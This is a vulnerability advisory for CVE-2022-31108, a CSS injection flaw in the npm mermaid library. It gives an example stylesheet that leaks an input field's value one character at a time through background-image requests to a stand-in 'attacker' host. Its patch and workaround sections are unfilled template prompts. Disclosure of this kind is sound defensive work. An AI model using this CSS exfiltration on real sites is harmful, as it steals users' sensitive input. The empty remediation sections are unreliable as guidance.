Possible inject arbitrary `CSS` into the generated graph affecting the container HTML
Date: 2022-07
Affected: npm/mermaid
Attack vector: info-disclosure
Category: vulnerability-disclosure
Severity: Medium
CVE: CVE-2022-31108
CWE: CWE-74
CWE-79
CVSS: 4.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N)

An attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors. The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character. ```css input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); } ... input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); } ... input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); } ... input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); } ... input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); } ``` ### Patches _Has the problem been patched? What versions should users upgrade to?_ ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ ### References _Are there any links users can visit to find out more?_ ### For more information If you have any questions or comments about this advisory: * Open an issue in [example link to repo](http://example.com) * Email us at [example email address](mailto:example@example.com) ## P


Mitigations:

Architectural layers (MAESTRO):